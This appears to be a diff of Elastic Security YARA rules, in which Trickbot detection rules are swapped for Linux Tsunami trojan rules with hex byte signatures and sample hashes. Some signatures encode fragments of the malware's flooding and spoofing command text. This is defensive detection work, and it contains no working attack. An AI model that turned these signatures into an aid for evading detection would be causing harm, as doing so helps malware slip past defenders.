-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "1e56fad7-383f-4ee0-9f8f-a0b3dcceb691"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "d9e6b88e-256c-4e9d-a411-60b477b70446"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L60-L77"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "815b37804f79fb4607e6b84294882d818233c3df13aececb3d341244900a2e44"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4ac275275e7be694a200fe6c5c5746256398c109cf54f45220637fe5d9e26ba"
+		logic_hash = "979d2ae62efca0f719ed1db2ff832dc9a0aa0347dcd50ccede29ec35cba6d296"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a0916134f47df384bbdacff994970f60d3613baa03c0a581b7d1dd476af3121b"
+		fingerprint = "8fc61c0754d1a8b44cefaf2dbd937ffa0bb177d98b071347d2f9022181555b7a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 5B C9 C2 18 00 43 C1 02 10 7C C2 02 10 54 C1 02 10 67 C1 02 10 }
+		$a = { 04 02 01 20 03 20 02 C9 07 40 4E 00 60 01 C0 04 17 B6 92 07 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_93C9A2A4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_30C039E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "93c9a2a4-a07a-4ed4-a899-b160d235bf50"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "30c039e2-1c51-4309-9165-e3f2ce79cd6e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L79-L96"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "dadeeba6147b118b80e014ab067eac7a2c3c2990958a6c7016562d8b64fef53c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b494ca3b7bae2ab9a5197b81e928baae5b8eac77dfdc7fe1223fee8f27024772"
+		logic_hash = "a9dbfede68a3209b403aa40dbc5b69326c3e1c14259ed6bc6351f0f9412cfce2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0ff82bf9e70304868ff033f0d96e2a140af6e40c09045d12499447ffb94ab838"
+		fingerprint = "4c97fed719ecfc68e7d67268f19aff545447b4447a69814470fe676d4178c0ed"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 6A 01 8B CF FF 50 5C 8B 4F 58 49 89 4F 64 8B 4D F4 8B 45 E4 }
+		$a = { 45 E0 0F B6 00 84 C0 74 1F 48 8B 45 E0 48 8D 50 01 48 8B 45 E8 48 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_5340Afa3 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_C94Eec37 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "5340afa3-ff90-4f61-a1ac-aba1f32dd375"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "c94eec37-8ae1-48d2-8c75-36f2582a2742"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L98-L115"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8b9d3c978f0c4a04ee5b3446b990172206b17496036bc1cc04180ea7e9b99734"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "294fcdd57fc0a53e2d63b620e85fa65c00942db2163921719d052d341aa2dc30"
+		logic_hash = "39a49e1661ac2ca6a43a56b0bd136976f6d506c0779d862a43ba2c25d6947fee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7da4726ccda6a76d2da773d41f012763802d586f64a313c1c37733905ae9da81"
+		fingerprint = "c692073af446327f739e1c81f4e3b56d812c00c556e882fe77bfdff522082db4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { E8 0C 89 5D F4 0F B7 DB 03 5D 08 66 83 F8 03 75 0A 8B 45 14 }
+		$a = { 05 88 10 8B 45 E4 0F B6 10 83 E2 0F 83 CA 40 88 10 8B 45 E4 C6 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_E7932501 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_F806D5D9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "e7932501-66bf-4713-b10e-bcda29f4b901"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "f806d5d9-0bf6-4da7-80fb-b1612f2ddd5b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L117-L134"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f82704a408a0cf1def2a5926dc4c02fa56afea1422c88ba41af50d44c60edb07"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5259495788f730a2a3bad7478c1873c8a6296506a778f18bc68e39ce48b979da"
+		logic_hash = "86336f662e3abcf2fe7635155782c549fc9eef514356bf78bfbc3b65192e2d90"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "ae31b49266386a6cf42289a08da4a20fc1330096be1dae793de7b7230225bfc7"
+		fingerprint = "f4f838fcd1fe7f85e435225f3e34b77b848246b2b9618b47125a611c8d282347"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 24 0C 01 00 00 00 85 C0 7C 2F 3B 46 24 7D 2A 8B 4E 20 8D 04 }
+		$a = { 41 54 45 48 54 54 50 20 3C 68 6F 73 74 3E 20 3C 73 72 63 3A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_Cd0868D5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_0Fa3A6E9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "cd0868d5-42d8-437f-8c1a-303526c08442"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "0fa3a6e9-89f3-4bc8-8dc1-e9ccbeeb836d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L136-L153"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "053a99e5e722fd2aa1cae96266cc344954f9c3a12d0851fa9d5e95a6420651f4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "40a15a186373a062bfb476b37a73c61e1ba84e5fa57282a7f9ec0481860f372a"
+		logic_hash = "970062e909ffe5356b750605f2c44a6e893949bc5bc71be3ea98b16e51629d4d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2f777285a90fce20cd4eab203f3ec7ed1c62e09fc2dfdce09b57e0802f49628f"
+		fingerprint = "fed796c5275e2e91c75dcdbf73d0c0ab37591115989312c6f6c5adcd138bc91f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 8D 1C 01 89 54 24 10 8B 54 24 1C 33 C9 66 8B 0B 8D 3C 8A 8B 4C }
+		$a = { EC 8B 55 EC C1 FA 10 0F B7 45 EC 01 C2 89 55 EC 8B 45 EC C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_515504E2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_36A98405 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "515504e2-6b7f-4398-b89b-3af2b46c78a7"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "36a98405-8b95-49cb-98c5-df4a445d9d39"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L155-L172"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5410068e09de4a1283f98f6364ddf243373e228ba060b00699db6323f1167684"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a57de6cd3468f55b4bfded5f1eed610fdb2cbffbb584660ae000c20663d5b304"
+		logic_hash = "a32d324d1865a7796faefbc2f209e6043008a696929fe7837afbbc770e6f4c74"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8eb741e1b3bd760e2cf511ad6609ac6f1f510958a05fb093eae26462f16ee1d0"
+		fingerprint = "c76ca23eece4c2d4ec6656ffb40d6e6ea7777d8a904f4775913fe60ebd606cd6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 6A 00 6A 00 8D 4D E0 51 FF D6 85 C0 74 29 83 F8 FF 74 0C 8D }
+		$a = { 05 88 85 50 FF FF FF 0F B6 85 50 FF FF FF 83 E0 0F 83 C8 40 88 85 50 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_A0Fc8F35 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_0C6686B8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "a0fc8f35-cbeb-43a8-b00d-7a0f981e84e4"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "0c6686b8-8880-4a2c-ba70-9a9840a618b0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L174-L191"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7ab2b45ddfc1d7fa409a6ea3dfd8d4940e1bdf3fc0cb6c7e8d49c60e7bda5b1b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "409c55110d392aed1a9ec98a6598fb8da86ab415534c8754aa48e3949e7c4b62"
+		logic_hash = "731bb3f9957e8777040c0b7b316a818f4ee1ca9a113fb9eed24ee61bfc71e11d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "033ff4f47fece45dfa7e3ba185df84a767691e56f0081f4ed96f9e2455a563cb"
+		fingerprint = "7bab1c0cf4fb79c50369f991373178ef3b5d3f7afd765dac06e86ac0c27e0c83"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 18 33 DB 53 6A 01 53 53 8D 4C 24 34 51 8B F0 89 5C 24 38 FF D7 }
+		$a = { 45 F8 31 C0 48 8B 45 C8 0F B7 40 02 66 89 45 D0 48 8B 45 C8 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_Cb95Dc06 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_9Ce5B69F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "cb95dc06-6383-4487-bf10-7fd68d61e37a"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "9ce5b69f-4938-4576-89da-8dcd492708ed"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L193-L210"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "563b2311d37ace2d09601a70325352db3fcbf135e7ce518965f5410081b5d626"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ad63fbd15b7de4da0db1b38609b7481253c100e3028c19831a5d5c1926351829"
+		logic_hash = "b9756eb99e59ba3a9a616b391bcf26bda26a6ac0de115460f9ba52129f590764"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0d28f570db007a1b91fe48aba18be7541531cceb7f11a6a4471e92abd55b3b90"
+		fingerprint = "90fece6c2950467d78c8a9f1d72054adf854f19cdb33e71db0234a7b0aebef47"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 08 5F 5E 33 C0 5B 5D C3 8B 55 14 89 02 8B 45 18 5F 89 30 B9 01 00 }
+		$a = { F4 8B 54 85 B4 8B 45 E4 8D 04 02 C6 00 00 FF 45 F4 8B 45 E4 01 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_9D4D3Fa4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_55A80Ab6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "9d4d3fa4-4e37-40d7-8399-a49130b7ef49"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "55a80ab6-3de4-48e1-a9de-28dc3edaa104"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L212-L229"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7c3c9917a95248fd990b6947a0304ded473bf1bcceec8f4498a7955e879d348b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5259495788f730a2a3bad7478c1873c8a6296506a778f18bc68e39ce48b979da"
+		logic_hash = "1fc29f98e9ea2a5b67d0a88f37813a5e62b5f1d2a26aee74f90e9ead445dc713"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b06c3c7ba1f5823ce381971ed29554e5ddbe327b197de312738165ee8bf6e194"
+		fingerprint = "2fe3a9e1115d8c2269fe090c57ee3d5b2cd52b4ba1d020cec0135e2f8bbcb50e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 89 44 24 18 33 C9 89 44 24 1C 8D 54 24 38 89 44 24 20 33 F6 89 44 }
+		$a = { 74 68 65 20 63 75 72 72 65 6E 74 20 73 70 6F 6F 66 69 6E 67 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_34F00046 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_E98B83Ee : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "34f00046-8938-4103-91ec-4a745a627d4a"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "e98b83ee-0533-481a-9947-538bd2f99b6b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L231-L248"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f9d646645d6726e3aac5cc3eaea9edf1c89c7e743aff7cfa73998a72f3446711"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417"
+		logic_hash = "8b16c0fee991ee2143a20998097066a90b1f20060bac7b42e5c3188adcdc7907"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5c6f11e2a040ae32336f4b4c4717e0f10c73359899302b77e1803f3a609309c0"
+		fingerprint = "b5440c783bc18e23f27a3131ccce4629f8d0ceea031971cbcdb69370ab52e935"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 30 FF FF FF 03 08 8B 95 30 FF FF FF 2B D1 89 95 30 FF FF FF }
+		$a = { 45 FE 00 00 EB 16 48 8B 55 D8 0F B7 02 0F B7 C0 01 45 E0 48 83 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_F2A18B09 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_8A11F9Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "f2a18b09-f7b3-4d1a-87ab-3018f520b69c"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "8a11f9be-dc85-4695-9f38-80ca0304780e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L250-L267"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c4c4b0b1df1e8fde87284fb27d46e917c47b479a675fec60faeca6185511907d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1f773d0e00d40eecde9e3ab80438698923a2620036c2fc33315ef95229e98571"
+		logic_hash = "f80dcb3579a76da787e9bb2bfb02ef86e464aec1bea405f02642b8c8902c7663"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3e4474205efe22ea0185c49052e259bc08de8da7c924372f6eb984ae36b91a1c"
+		fingerprint = "91e2572a3bb8583e20042578e95e1746501c6a71ef7635af2c982a05b18d7c6d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 04 39 45 08 75 08 8B 4D F8 8B 41 18 EB 0F 8B 55 F8 8B 02 89 }
+		$a = { 3E 20 3C 70 6F 72 74 3E 20 3C 72 65 66 6C 65 63 74 69 6F 6E 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_D916Ae65 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_2462067E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "d916ae65-c97b-495c-89c2-4f1ec90081d2"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "2462067e-06cf-409c-8184-86bd7a772690"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L269-L286"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e0aafe498cd9f0e8addfef78027943a754ca797aafae0cb40f1c6425de501339"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L221-L239"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3847f1c7c15ce771613079419de3d5e8adc07208e1fefa23f7dd416b532853a1"
+		logic_hash = "cf6c0703f9108f8193e0a9c18ba3d76263527a13fe44e194fa464d399512ae05"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2e109ed59a1e759ef089e04c21016482bf70228da30d8b350fc370b4e4d120e0"
+		fingerprint = "f84d62ad2d6f907a47ea9ff565619648564b7003003dc8f20e28a582a8331e6b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 5F 24 01 10 CF 22 01 10 EC 22 01 10 38 23 01 10 79 23 01 10 82 }
+		$a = { 8B 45 F4 8B 40 0C 89 C1 8B 45 F4 8B 40 10 8B 10 8D 45 E4 89 C7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_52722678 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_0A028640 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "52722678-afbe-43ec-a39b-6848b7d49488"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "0a028640-581f-4183-9313-e36c5812e217"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L288-L305"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6340171fdde68b32de480f1f410aa4c491a8fffa7c1f699bf5fa72a12ecb77b8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L241-L259"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e36081f0dbd6d523c9378cdd312e117642b0359b545b29a61d8f9027d8c0f2f0"
+		logic_hash = "663f110c7214498466759b66a83ff1844f5bf45ce706fa8ad0e8b205cc9c8f72"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e67dda5227be74424656957843777ea533b6800576fd85f978fd8fb50504209c"
+		fingerprint = "1b296e8baffbe3e0e49aee23632afbfab75147f31561d73eb0c82f909c5ec718"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 2B 5D 0C 89 5D EC EB 03 8B 5D EC 8A 1C 3B 84 DB 74 0D 38 1F }
+		$a = { 10 85 C0 74 2D 8B 45 0C 0F B6 00 84 C0 74 19 8B 45 0C 83 C0 01 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_28A60148 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_6B3974B2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "28a60148-2efb-4cd2-ada1-dd2ae2699adf"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "6b3974b2-fd7f-4ebf-8aba-217761e7b846"
+		date = "2021-01-12"
+		modified = "2021-09-16"
